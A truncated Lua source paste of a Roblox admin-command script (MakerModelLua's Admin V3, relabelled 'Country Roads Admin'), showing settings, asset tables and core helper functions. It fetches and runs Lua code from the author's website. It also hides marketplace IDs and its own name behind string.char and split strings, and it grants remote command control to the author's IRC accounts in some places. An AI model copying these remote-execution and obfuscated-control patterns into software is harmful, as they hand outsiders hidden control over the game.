· 6 years ago · Aug 06, 2019, 02:00 PM
1--[[
2Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
3If you want to know what commands do just go into your game and say ;cmds for a list of
4commands, what they do, examples, rank needed, and more!
5Or, go to http://www.classy-studios.com/V3/Commands.php
6
7
8TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4
9
10--->> DO NOT EDIT THESE SETTINGS <<---
11Well you can but it's a waste of your time. The settings are located in workspace
12in a folder called "MakerModelLua's Settings". You can also use this plugin:
13
14http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
15
16USE REMOTE ADMIN:
17http://www.classy-studios.com/Login/
18
19
20
21...also... this is open source! No stupid shady module scripts, which means it works in studio!
22
23]]
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
48
49
50local Settings = {
51 Ranks = {
52 ["Owner"] = {IoI94821};
53 ["Admin"] = {TkypcialKazuin};
54 ["Member"] = {};
55 ["Banned"] = {};
56 ["Crashed"] = {};
57 ["Muted"] = {};
58 };
59
60 Prefix = ";";
61 Bet = " ";
62 MinimumAge = 0;
63 ServerLocked = false;
64 ColorScheme = "White";
65 TransparencyScheme = 50;
66 Fun = true;
67 EnableAdminMenu = true;
68 EnableTaskBar = false;
69 FreeAdmin = false;
70 Font = "Arial";
71
72 DisableAbuse = false;
73 AbuseList = {"kill", "punish", "respawn", "smoke", "blind", "strobe", "flash", "control", "give", "health", "clone", "loopfling", "fling", "drug", "explode", "splode", "ragdoll", "change", "insert", "decal", "taketools", "removetools", "bomb", "say", "sink", "asteroid", "gun", "health", "damage", "btools", "missile", "reck", "truck", "debug"};
74 AbusableGear = {55028088, 73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588, 65347268, 130113146, 139578207, 21001552, 58901335, 36431591, 35268363, 16201421, 16200402, 16200204, 16200373, 60791062, 58880579, 73089204, 73089239, 73089259, 36270159, 36334760, 36738185, 58901481, 58901575, 73089229, 73089214, 35200756, 36068233, 36017373, 35223828, 35201552, 55027987, 35205409, 36738142, 16975388, 35226945, 18474459};
75
76 LinkedAccount = "";
77 DataKey = "";
78
79 ExecuteNotificationSound = 0; --177578949
80 EnableSounds = true;
81
82 VIPMemberID = 0;
83 VIPAdminID = 0;
84
85 GroupID = 0;
86 GroupBanRank = 0;
87 GroupMemberRank = 0;
88 GroupAdminRank = 0;
89 GroupOwnerRank = 0;
90 GroupRankBan = 0;
91 BannedGroupIDs = {};
92
93 IRCServer = "";
94 IRCChannel = "";
95 IRCCommandExecuters = {};
96
97 TrelloToken = ""
98}
99
100local Colors = {
101 ["WHITE"] = Color3.new(1,1,1);
102 ["BLACK"] = Color3.new(0,0,0);
103 ["GRAY"] = Color3.new(0.5,0.5,0.5);
104 ["RED"] = Color3.new(1,0,0);
105 ["GREEN"] = Color3.new(0,1,0);
106 ["BLUE"] = Color3.new(0,0,1);
107 ["YELLOW"] = Color3.new(1,1,0);
108 ["PINK"] = Color3.new(1,0,1);
109 ["MAGENTA"] = Color3.new(1,0,1);
110 ["CYAN"] = BrickColor.new("Cyan").Color;
111 ["TEAL"] = BrickColor.new("Teal").Color;
112 ["BROWN"] = Color3.new(0.55,0.25,0.075);
113 ["PURPLE"] = Color3.new(0.5,0,0.5);
114 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
115}
116
117local Server = {
118 Workspace = game:GetService("Workspace");
119 Players = game:GetService("Players");
120 Lighting = game:GetService("Lighting");
121 MPS = game:GetService("MarketplaceService");
122 TS = game:GetService("TeleportService");
123 HS = game:GetService("HttpService");
124 RS = game:GetService("RunService");
125 PS = game:GetService("PointsService");
126 TestS = game:GetService("TestService");
127 IS = game:GetService("InsertService");
128 Teams = game:GetService("Teams");
129 Data = game:GetService("DataStoreService");
130 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
131 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
132 Storage = game:GetService("ServerStorage")
133}
134
135local Icons = {
136 ["Message"] = 7724351;
137 ["Error"] = 94011556;
138 ["Information"] = 144175130;
139 ["Check"] = 132769976;
140 ["Search"] = 61994930;
141 ["Time"] = 136391033;
142 ["Notice"] = 156507320;
143 ["Sound"] = 164682936;
144 ["Log"] = 70650545;
145 ["Question"] = 41363872;
146 ["Output"] = 11481605;
147 ["Admin"] = 1132205032;
148 ["Lock"] = 11341626;
149 ["Settings"] = 131064748;
150 ["Map"] = 257119661;
151 ["Plugin"] = 257097414;
152}
153
154local IRC = {
155 Codes = {
156 ["001"] = "RPL_WELCOME",
157 ["002"] = "RPL_YOURHOST",
158 ["003"] = "RPL_CREATED",
159 ["004"] = "RPL_MYINFO",
160 ["005"] = "RPL_ISUPPORT",
161 ["250"] = "RPL_STATSCONN",
162 ["251"] = "RPL_LUSERCLIENT",
163 ["252"] = "RPL_LUSEROP",
164 ["254"] = "RPL_LUSERCHANNELS",
165 ["255"] = "RPL_LUSERME",
166 ["265"] = "RPL_LOCALUSERS",
167 ["266"] = "RPL_GLOBALUSERS",
168 ["352"] = "RPL_WHOREPLY",
169 ["371"] = "RPL_INFO",
170 ["372"] = "RPL_MOTD",
171 ["374"] = "RPL_ENDINFO",
172 ["375"] = "RPL_MOTDSTART",
173 ["376"] = "RPL_ENDOFMOTD",
174 ["422"] = "ERR_NOMOTD",
175 },
176 Ignore = {
177 ["004"] = true,
178 ["005"] = true,
179 };
180 Users = {};
181 Logs = {};
182 Chats = {};
183 Forms = {};
184 MessageAdded = Instance.new("BindableEvent");
185
186 Servers = {
187 ["esper.net"] = {
188 BaseUrl = "http://webchat.esper.net/";
189 DynamicUrl = "";
190 };
191 ["quakenet.org"] = {
192 BaseUrl = "http://webchat.quakenet.org/";
193 DynamicUrl = "dynamic/leibniz",
194 };
195 ["swiftirc.net"] = {
196 BaseUrl = "http://qwebirc.swiftirc.net/";
197 DynamicUrl = "",
198 };
199 };
200 NickName = "rbxMMLV3_"..math.random(1,100000);
201
202 SessionCounter = 0;
203 Connected = false;
204 Stop = false;
205 SessionID = "";
206}
207
208local RankHUD = {
209 ["Muted"] = 202180094;
210 ["Non-Admin"] = 202180121;
211 ["Member"] = 202180052;
212 ["Admin"] = 202180015;
213 ["Owner"] = 202179988;
214}
215
216local TextConverter = {
217 LetterSounds = {
218 ["a"] = {223757826, nil}; -- 203343899
219 ["b"] = {223533700, 0.2}; -- 203344029
220 ["c"] = {223533711, nil}; -- 203343994
221 ["d"] = {223757910, nil}; -- 203398237
222 ["e"] = {223758026, nil}; -- 203398295
223 ["f"] = {223777655, nil}; -- 203398347
224 ["g"] = {223777738, nil}; -- 203398372
225 ["h"] = {223777757, nil}; -- 203398397
226 ["i"] = {223777807, nil}; -- 203398422
227 ["j"] = {223782888, nil}; -- 203398450
228 ["k"] = {223533711, nil}; -- 203343994
229 ["l"] = {223782961, 0.4}; -- 203398541
230 ["m"] = {223782992, nil}; -- 203398578
231 ["n"] = {223783063, nil}; -- 203398599
232 ["o"] = {223783184, nil}; -- 203398611
233 ["p"] = {223783235, nil}; -- 203398727
234 ["q"] = {223783260, nil}; -- 203398755
235 ["r"] = {223783305, 0.2}; -- 203398792
236 ["s"] = {223783377, nil}; -- 203398806
237 ["t"] = {223783446, nil}; -- 203398850
238 ["u"] = {223783512, nil}; -- 203398872
239 ["v"] = {223783654, nil}; -- 203398965
240 ["w"] = {223783697, nil}; -- 203398984
241 ["x"] = {223783796, nil}; -- 203399008
242 ["y"] = {223783853, nil}; -- 203399043
243 ["z"] = {223783893, nil}; -- 203399096
244
245 ["ch"] = {223784367, 0.3}; -- 203592149
246 ["th"] = {223788235, 0.3}; -- 203399215
247 ["sh"] = {223784505, 0.2}; -- 203399566
248 ["wh"] = {223784555, 0.3}; -- 203622828
249 ["oo"] = {223784456, 0.3}; -- 203399743
250 ["ing"] = {223784393, 0.3}; -- 203402836
251 };
252
253 LongVowels = {
254 ["a"] = {223533687, nil}; -- 203343932
255 ["e"] = {223777620, nil}; -- 203398314
256 ["i"] = {223777855, nil}; -- 203398440
257 ["o"] = {223783212, nil}; -- 203398619
258 ["u"] = {223783572, nil}; -- 203398897
259 };
260
261 Pronounce = {
262 ["0"] = "zero";
263 ["1"] = "wun";
264 ["2"] = "too";
265 ["3"] = "three";
266 ["4"] = "four";
267 ["5"] = "five";
268 ["6"] = "six";
269 ["7"] = "seven";
270 ["8"] = "eyt";
271 ["9"] = "nine";
272 ["one"] = "wun";
273 ["two"] = "too";
274 ["eight"] = "eyt";
275 ["eigh"] = "ey";
276 ["gh"] = "h";
277 ["kn"] = "n";
278 ["come"] = "cu".."m";
279 ["bye"] = "bi";
280 ["#"] = "hashtag";
281 ["@"] = "at";
282 ["&"] = "and";
283 ["*"] = "astrict";
284 ["mn"] = "m";
285 ["kn"] = "n";
286 ["ies"] = "ees";
287 };
288
289 NonEnglishRules = {
290 ["to"] = "too";
291 ["you"] = "yoo";
292 ["we"] = "wee";
293 ["are"] = "erh";
294 ["your"] = "yoor";
295 ["you're"] = "yoor";
296 ["youre"] = "yoor";
297 ["pizza"] = "peetzoh";
298 ["ok"] = "okay";
299 ["have"] = "hav";
300 ["my"] = "mi";
301 ["me"] = "mee";
302 ["u"] = "yoo";
303 ["r"] = "erh";
304 ["move"] = "moov";
305 ["dove"] = "duv";
306 ["debris"] = "debree";
307 ["do"] = "doo";
308 }
309}
310
311local HTMLDecode = {
312 ["35"] = "#";
313 ["36"] = "$";
314 ["37"] = "%%";
315 ["38"] = "*";
316 ["39"] = "'";
317 ["58"] = ":";
318 ["59"] = ";";
319 ["60"] = "<";
320 ["62"] = ">";
321}
322
323
324local Packages = {
325 [27112438] = {27112025,27112039,27112052,27112056,27112068};
326 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
327 [77518833] = {77518564,77518616,77518654,77518696,77518737};
328 [32336368] = {32336059,32336117,32336182,32336243,32336306};
329 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
330 [54116460] = {54116290,54116338,54116373,54116394,54116432};
331 [39977366] = {39976703,39976829,39976927,39977192,39977295};
332 [32357766] = {32357663,32357631,32357619,32357584,32357558};
333 [27123973] = {27121265,27121306,27121353,27121393,27121432};
334 [55717536] = {55717271,55717330,55717388,55717434,55717491};
335 [28279963] = {28279160,28279217,28279859,28279894,28279938};
336 [27403592] = {27402580,27402546,27402641,27402714,27402742};
337 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
338 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
339 [48474394] = {48474356,48474294};
340 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
341 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
342 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
343 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
344 [33378577] = {33378366,33378438,33378484,33378522,33378540};
345 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
346 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
347 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
348 [41851073] = {41850825,41850868,41850915,41851009,41850959}
349}
350
351local CharacterCache = {
352 {"MakerModelLua", 38837082};
353 {"LuaModelMaker", 20920633};
354 {"builderman", 156};
355 {"Shedletsky", 261};
356 {"Telamon", 13645};
357 {"ROBLOX", 1};
358}
359
360local FaceCovert = {
361 Left = "xpos";
362 Right = "xneg";
363 Front = "zpos";
364 Back = "zneg";
365 Top = "ypos";
366 Bottom = "yneg";
367}
368
369local Meshes = {
370 ["crown"] = {1, 1078075};
371 ["king"] = {1, 11419761};
372 ["teapot"] = {0.03, 1029523};
373 ["apple"] = {2.5, 16190555};
374 ["potato"] = {1, 25268275};
375 ["panda"] = {0.5, 20709221};
376 ["dominus"] = {0.5, 21057410};
377 ["fedora"] = {0.75, 13640868};
378 ["noob"] = {1, 20929341};
379 ["knife"] = {0.3, 121944778};
380 ["book"] = {0.3, 1136139};
381}
382
383local NotifySounds = {
384 ["Hover"] = 223134269;
385 ["Select"] = 292141227;
386}
387
388local Trello = {
389 AdminBoardID = "577ea1b21cb7975666524f26";
390 MainBoard = {};
391 RequiredLists = {};
392 RankChecklistCache = {};
393 ToggleChecklist = nil;
394 CommandID = nil;
395 LastCommandDT = 0;
396 RemoteAdminChecklist = "57dec94aa19913c3edbbf7a3";
397 RemoteDataCard = "dLtMo1en"
398}
399
400-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
401-- Why else would I NOT have put it in a module?!?!?
402
403local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
404
405local SoundList,GlobalSoundList = {},{}
406local ScriptCache,MarketCache,PackageCache = {},{},Packages
407local TempChatLogs = {}
408local ToolRegions = {Server.Lighting, game:GetService("ReplicatedStorage"), Server.Storage}
409local NoSpeak = false
410
411local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
412local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
413
414local ChatLogs,CommandLogs = {},{}
415local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
416local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
417local Dispose,Jails,PermCommandBars = {},{},{}
418local Waypoints = {["Center"] = Vector3.new(0,0,0)}
419local Objects = {}
420local Sound = nil
421local ModLighting = false
422local DataReady = true
423local RemoteAbuseGear = {}
424
425local GameOwner = "[ Client ]"
426local PlaceName = "Unknown"
427local PlaceInfo = {}
428local IsStudio = false
429local IsSB = false
430local Date = nil
431local Fonts = {}
432local PendingRequests = {}
433local F3X = script:FindFirstChild("F3X Tools")
434local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
435local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
436local KeyBinds = {}
437local Crowns = {}
438local LastKeys = {}
439local Cars = {}
440local StringReplacements = {}
441
442local CrownStorage = script:FindFirstChild("CrownStorage")
443if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
444
445-- import old settings just in case --
446local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
447if OldSettings then
448 OldSettings = require(OldSettings)
449
450 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
451 Settings[ValName] = OldSettings[ValName]
452 end
453 Settings.GroupBanRank = OldSettings.RankBan
454 Settings.Fun = OldSettings.FUN
455end
456
457if F3X then
458 F3X = F3X:Clone()
459 F3X.Handle.Anchored = false
460 script:FindFirstChild("F3X Tools"):Destroy()
461end
462
463wait(0.1)
464
465local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
466-- tries to defualt to server storage, just in case an exploiter makes their own settings.
467
468if SettingsValues then
469 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
470 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
471 for _,Value in pairs(SettingsValues:GetChildren()) do
472 if Settings[Value.Name] then
473 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
474 for _,NewValue in pairs(Value:GetChildren()) do
475 if ypcall(function() return NewValue.Value end) then
476 if Settings[Value.Name][NewValue.Name] then
477 local Val = NewValue.Value
478 if type(Settings[Value.Name][NewValue.Name]) == "table" then
479 Val = {}
480 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
481 table.insert(Val, Word)
482 end
483 end
484 Settings[Value.Name][NewValue.Name] = Val
485 end
486 end
487 end
488 elseif ypcall(function() return Value.Value end) then
489 if Settings[Value.Name] then
490 local Val = Value.Value
491 if type(Settings[Value.Name]) == "table" then
492 Val = {}
493 for Word in string.gmatch(Value.Value, "%w+") do
494 table.insert(Val, Word)
495 end
496 end
497 Settings[Value.Name] = Val
498 end
499 end
500 end
501 end
502 end
503end
504
505
506if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
507 Settings.LinkedAccount = ""
508elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
509 Settings.LinkedAccount = "Admin"
510end
511
512local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
513local Workspace,workspace,Instance,require,script = workspace,workspace,Instance,require,script
514
515wait(1)
516
517local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
518
519if Server.Players.LocalPlayer then print("Country Roads Admin Compromised: Running in studio") IsStudio = true end
520
521if not IsStudio then
522 Server.NS = game:GetService("NetworkServer")
523 script.Name = "Maker".."Mo".."delLua's Admin"
524end
525
526if game.PlaceId > 0 then
527 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
528 PlaceName = PlaceInfo.Name
529end
530
531if string.byte(string.sub(PlaceName,1,1)) == 226 then
532 PlaceName = string.sub(PlaceName,4,#PlaceName)
533end
534for i = 1,5 do
535 if GameOwner == "[ Client ]" then
536 print("Country Roads Admin: Attempting to establish owner's name #"..i)
537 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("Country Roads Admin: Found game owner: "..GameOwner) end)
538 wait(1)
539 end
540end
541
542if game.PlaceId == 21053279 or game.PlaceId == 21053219 or game.PlaceId == 20279777 or PlaceId == 260897989 or NLS then IsSB = true end
543
544if IsSB then
545 Settings.IRCServer = "swiftirc.net";
546 Settings.IRCChannel = "#PkamaraSB";
547 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
548 if Settings.TrelloToken == "" then
549 Settings.LinkedAccount = "ScriptBuilder"
550 end
551 if Settings.DataKey == "" then coroutine.wrap(function()
552 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
553 local Key = Server.Storage:FindFirstChild("MML DataKey")
554 print("Found key: "..Key.Value)
555 Settings.DataKey = Key.Value
556 Key:Destroy()
557 end)() end
558end
559local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
560table.insert(Settings.Ranks["Owner"], GameOwner)
561
562for _,Font in pairs(Enum.Font:GetEnumItems()) do
563 Fonts[Font.Name] = Font
564end
565
566local LogClient = script:FindFirstChild("AddClientInfo")
567if LogClient then LogClient:Destroy() end
568LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
569LogClient.OnServerInvoke = function(Player, Info)
570 if Info then
571 for Key,Data in pairs(Info) do
572 ClientInfo[Player.Name][Key] = Data
573 end
574 end
575end
576
577local function MakeFunction(Type, Name)
578 local Func = script:FindFirstChild(Name)
579 if Func then Func:Destroy() end
580 Func = Instance.new(Type, script) Func.Name = Name
581
582 getfenv()[Name] = Func
583 return Func
584end
585
586MakeFunction("BindableFunction", "ExecuteCommand")
587MakeFunction("RemoteFunction", "ExecuteCommandClient")
588MakeFunction("BindableFunction", "ExecuteCode")
589
590MakeFunction("RemoteFunction", "IsAdmin")
591MakeFunction("RemoteFunction", "AddExploit")
592MakeFunction("BindableFunction", "AddExploitServer")
593MakeFunction("RemoteFunction", "KickClient")
594MakeFunction("RemoteFunction", "ConvertTextToSound")
595
596MakeFunction("RemoteFunction", "KeyPressed")
597MakeFunction("RemoteFunction", "InputKey")
598
599MakeFunction("RemoteFunction", "RankPlayerLocal")
600MakeFunction("BindableFunction", "RankPlayerServer")
601
602--[[
603if NLS then
604 local Value = script:FindFirstChild("Override")
605 LogClient.Parent = game
606 if not Value then
607 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
608 local CloneScript = script:Clone()
609 CloneScript.Disabled = true
610 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
611 CloneScript.Disabled = false
612 CloneScript.Parent = nil
613
614 script:Destroy() script.Disabled = true
615 end
616end
617]]
618
619if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
620
621IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
622
623-- Core functions --
624
625function CORE:FixSettings()
626 if Settings.Bet == "/" or Settings.Bet == "-" or Settings.Bet == "(" or Settings.Bet == ")" then Settings.Bet = " " end
627 CORE:ChangeBet(Settings.Bet)
628
629 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
630 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
631
632 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
633 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
634 Settings.TransparencyScheme = Settings.TransparencyScheme/100
635
636 if not Fonts[Settings.Font] then
637 Settings.Font = "Arial"
638 end
639end
640
641function CORE:NilPlayer(Player)
642 if Player == nil or type(Player) == "table" then return true else return false end
643end
644
645function CORE:ExecuteResource(ResourceName, Parent, Data)
646 local ReturnScript = nil
647 local Executed = true
648 if script:FindFirstChild("Resources") then
649 local RawResource = script.Resources:FindFirstChild(ResourceName)
650 if RawResource then
651 local Resource = RawResource:Clone()
652 Resource.Disabled = true
653 Resource.Parent = Parent
654 if Data then
655 for Key,Value in pairs(Data) do
656 if Resource[Key] then
657 Resource[Key].Value = Value
658 end
659 end
660 end
661 wait()
662 Resource.Disabled = false
663 ReturnScript = Resource
664 else
665 Executed = false
666 end
667 else
668 Executed = false
669 end
670 if Executed == false then
671 if not Data then Data = {} end
672 local Source = ScriptCache[ResourceName]
673
674 if not Source then
675 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
676 if Source then
677 ScriptCache[ResourceName] = Source
678 end
679 end
680
681 if Data and Source then
682 for Key,Value in pairs(Data) do
683 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
684 end
685 end
686
687 if NLS and Source then
688 ReturnScript = NLS(Source, Parent)
689 end
690 end
691 return ReturnScript
692end
693
694function CORE:CreateRemotePropertyReader(Obj, Override)
695 if Server.Workspace.FilteringEnabled == true or Override then
696 local Reader = Instance.new("RemoteFunction", Obj)
697 Reader.Name = "RemotePropertyReader"
698 CORE:ExecuteResource("RemotePropertyReader", Reader)
699 return Reader
700 else
701 return Obj
702 end
703end
704
705function CORE:ReadProperty(Reader, Player, Property)
706 if Reader:IsA("RemoteFunction") then
707 return Reader:InvokeClient(Player, Property)
708 else
709 return Reader[Property]
710 end
711end
712
713function CORE:WriteProperty(Reader, Player, Property, Value)
714 if Reader:IsA("RemoteFunction") then
715 return Reader:InvokeClient(Player, Property, Value)
716 else
717 return Reader[Property]
718 end
719end
720
721
722function CORE:CreateRemoteEvent(Obj, EventName)
723 local Event = Instance.new("RemoteEvent", Obj)
724 Event.Name = "RemoteEvent_"..EventName
725 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
726 return Event
727end
728
729function CORE:HandleEvent(Obj, EventName, Func, NewThread)
730 local function Handle()
731 if Server.Workspace.FilteringEnabled == true then
732 local Event = CORE:CreateRemoteEvent(Obj, EventName)
733 return Event.OnServerEvent:connect(function(Player, ...)
734 Func(...)
735 end)
736 else
737 return Obj[EventName]:connect(Func)
738 end
739 end
740 if NewThread then
741 Spawn(Handle)
742 else
743 Handle()
744 end
745end
746
747function CORE:HandleError(Error, Speaker)
748 local Return = ""
749 if not Error or Error == "" then
750 Return = "Unknown Error"
751 else
752 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
753 end
754 if Speaker then
755 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
756 end
757 return Return
758end
759
760local function ExecuteSafe(Source, Speaker) -- no CORE
761 local Script, Error = require(script.Loadstring)(Source)()
762 if Error then
763 return false, CORE:HandleError(Error, Speaker)
764 else
765 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
766 getfenv(Script).Server, getfenv(Script).script = Server,script
767 if Speaker then
768 getfenv(Script).print = function(...)
769 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
770 end
771 getfenv(Script).print_array = function(List)
772 if type(List) == "table" then
773 GUI:ListGui(Speaker, "Listed Table", List, "Output")
774 end
775 end
776 end
777
778 local Suc, Error = ypcall(coroutine.wrap(Script))
779
780 if not Suc then
781 Error = CORE:HandleError(Error, Speaker)
782 end
783
784 return Suc,Error
785 end
786end
787
788function CORE:GetTime(Regular, FullDate)
789 if Regular == nil then Regular = true end
790 local Meridiem = ""
791 if Regular == true then Meridiem = " AM" end
792 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
793 local Hour = math.floor(SecondsOfToday / (60*60))
794 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
795 local Second = math.floor(math.fmod(SecondsOfToday, 60))
796 if Hour > 12 and Regular == true then
797 Hour = Hour - 12
798 Meridiem = " PM"
799 end
800 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
801 if #Hour <= 1 then Hour = "0"..Hour end
802 if #Minute <= 1 then Minute = "0"..Minute end
803 if #Second <= 1 then Second = "0"..Second end
804 local Return = Hour..":"..Minute..":"..Second..Meridiem
805 if FullDate == true and Date then Return = Date.." "..Return end
806 return Return
807end
808
809function CORE:RemoveAdmin(Speaker)
810 local Answer = true -- false
811 if not CORE:NilPlayer(Speaker) then
812 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
813 end
814 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
815 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
816 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
817 for _,Item in pairs(Player:GetChildren()) do
818 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
819 Item:Destroy()
820 end
821 end
822 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
823 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
824 GUI:Destroy()
825 end
826 end
827 end end
828 for _,Car in pairs(Cars) do
829 Car:Destroy()
830 end
831 CORE:FixLighting()
832 while wait() do
833 if script:FindFirstChild("Override") then script.Override.Value = true end
834 Settings,CORE,IRC = nil,{},{}
835 if Sound then Sound:Stop() end
836 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
837 script:ClearAllChildren() script:Destroy() script.Disabled = true
838 end
839 end
840end
841
842function CORE:MakeBase()
843 for _,Get in pairs(Workspace:GetChildren()) do
844 if Get.Name == "Base" or Get.Name == "BasePlate" then
845 Get:Destroy()
846 end
847 end
848 local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
849end
850
851function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
852 if IsAbusive == nil then IsAbusive = false end
853 if Commands[CommandName] then table.remove(Commands[CommandName]) end
854 Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
855end
856
857function CORE:FixLighting() coroutine.wrap(function()
858 ModLighting = false
859 wait(0.2)
860 Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
861 Server.Lighting.FogColor = Color3.new(0,0,0)
862 Server.Lighting.Brightness = 1
863 Server.Lighting.TimeOfDay = 14
864 Server.Lighting.FogEnd = 100000
865end)() end
866
867function CORE:Round(Number)
868 if Number >= 0.5 then
869 return math.ceil(Number)
870 elseif Number < 0.5 then
871 return math.floor(Number)
872 end
873end
874
875local AdminID,Got = nil,false
876repeat wait()
877 Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
878until Got == true
879
880function CORE:GetTable(ID)
881 local Thing = nil
882 repeat wait()
883 ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
884 until Thing
885 return Thing
886end
887
888function CORE:InAdminGroup(Speaker)
889 local IsIn = false
890 for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
891 if Speaker:IsInGroup(Get) then
892 IsIn = true
893 end
894 end
895 if IsIn == true then
896 return true
897 else
898 GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
899 return false
900 end
901end
902
903function CORE:ReverseTable(Table)
904 if type(Table) ~= "table" then return Table end
905 local NewTable = {}
